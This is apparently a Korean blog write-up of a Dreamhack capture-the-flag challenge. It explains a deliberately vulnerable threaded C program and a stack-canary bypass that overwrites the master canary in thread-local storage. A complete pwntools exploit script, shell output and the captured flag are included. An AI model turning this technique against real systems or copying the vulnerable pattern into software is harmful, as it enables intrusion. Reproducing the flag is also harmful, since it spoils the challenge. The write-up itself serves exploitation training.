Description

    Exploit Tech: Master Canary에서 실습하는 문제입니다.

    checksec

    seo@seo:~/Desktop/Master_Canary$ checksec ./mc_thread
    [*] '/home/seo/Desktop/Master_Canary/mc_thread'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Source Code

    mc_thread.c

    // Name: mc_thread.c
    // Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
    #include <pthread.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    void giveshell() { execve("/bin/sh", 0, 0); }
    void init() {
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
    }
    
    void read_bytes(char *buf, int size) {
      int i;
    
      for (i = 0; i < size; i++)
        if (read(0, buf + i*8, 8) < 8)
          return;
    }
    
    void thread_routine() {
      char buf[256];
      int size = 0;
      printf("Size: ");
      scanf("%d", &size);
      printf("Data: ");
      read_bytes(buf, size);
    }
    
    int main() {
      pthread_t thread_t;
    
      init();
    
      if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
        perror("thread create error:");
        exit(0);
      }
      pthread_join(thread_t, 0);
      return 0;
    }

    thread_routine 함수에서 buf로부터 사용자 입력을 받을 수 있는데,
    이때 입력받을 수 있는 크기를 지정할 수 있다.

    256바이트만큼 buf 크기가 할당되어있으나, 입력받을 수 있는 크기를 마음대로 지정할 수 있어
    버퍼 오버플로우 취약점을 발생시킬 수 있다.

    Solution

    pthread_create로 쓰레드를 생성하면,
    https://github.com/bminor/glibc/blob/glibc-2.35/nptl/pthread_create.c#L705
    마스터 카나리인 tcbhead_t 구조체의 stack_guard(master canary)를 복사하여 사용하기 때문에
    이것을 덮어써 마스터 카나리를 원하는 값으로 조작할 수 있다.

    일반적인 경우 스택은 쓰레드가 각각 가지고 있는 저장소인 TLS보다 더 높은 주소에 워치하며 불가능하지만.
    쓰레드 스택에서는 마스커 카나리를 덮어써서 Stack Smash Protection 보호기법을 우회할 수 있다.

    buf의 주소 = 0x7fe5a69fed40
    마스터 카나리의 주소 = 0x7fe5a69ff668
    떨어져있는 거리 = hex(0x7f8ba67ff668 – 0x7f8ba67fed40) = ‘0x928’

    실제 buf의 크기 = 264

    https://github.com/bminor/glibc/blob/glibc-2.35/nptl/cancellation.c#L63

    void
    __pthread_disable_asynccancel (int oldtype)
    {
      /* If asynchronous cancellation was enabled before we do not have
         anything to do.  */
      if (oldtype == PTHREAD_CANCEL_ASYNCHRONOUS)
        return;
    
      struct pthread *self = THREAD_SELF;
      self->canceltype = PTHREAD_CANCEL_DEFERRED;
    }

    self->canceltype = PTHREAD_CANCEL_DEFERRED;
    self->canceltype에 접근하여 해당 메모리에 PTHREAD_CANCEL_DEFERRED를 쓸려고 하기 때문에 유효한 메모리 주소를 갖추어야 한다.

    buf의 주소 = 0x7ffff7bfed40
    self의 주소 = 0x7ffff7bff650

    둘의 거리차이를 계산하면
    0x7ffff7bff650 – 0x7ffff7bfed40 = 0x910 (buf와 $fs_base->header.self의 주소 거리 차이)
    따라서 self를 주소를 조작하여 elf->canceltype을 유효한 메모리 주소를 가리키도록 만들어야 된다.

    필자는 bss 영역주소를 사용했다.

    solve.py

    서버환경이 로컬과 다르기에 대충 어느 오프셋에 넣어야될지 몰라 e.bss() 주소를 마구 넣어주었다.
    그리고 마스터 카나리 뒤에 더미 바이트를 추가시켜야 가능했다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote("host3.dreamhack.games", "8414")
    #p = process("./mc_thread")
    e = ELF("./mc_thread", checksec=False)
    
    #local
    # payload = b"A"*264      #buf
    # payload += b"B"*8       #canary
    # payload += b"C"*8       #rbp
    # payload += p64(e.symbols["giveshell"])
    # payload += b"D"*(0x910 - len(payload))
    # payload += p64(e.bss()) #self
    # payload += b"E"*0x10
    # payload += b"B"*8       #master canary
    
    #server
    payload = b"A"*264      #buf
    payload += b"B"*8       #canary
    payload += b"C"*8       #rbp
    payload += p64(e.symbols["giveshell"])
    payload += p64(e.bss())*int((0x910 - len(payload)) / 8) #b"D"*(0x910 - len(payload))
    payload += p64(e.bss()) # self
    payload += p64(e.bss())*2   #b"E"*0x10
    payload += b"B"*8       # master canary
    payload += b'A'*568     # dummy bytes
    
    p.sendlineafter("Size: ", str(len(payload)))
    
    p.sendlineafter("Data: ", payload)
    
    p.interactive()

    Result

    seo@seo:~/Desktop/Master_Canary$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 8414: Done
    [*] Switching to interactive mode
    $ ls
    flag
    mc_thread
    $ cat flag
    DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}
    $
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 8414

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다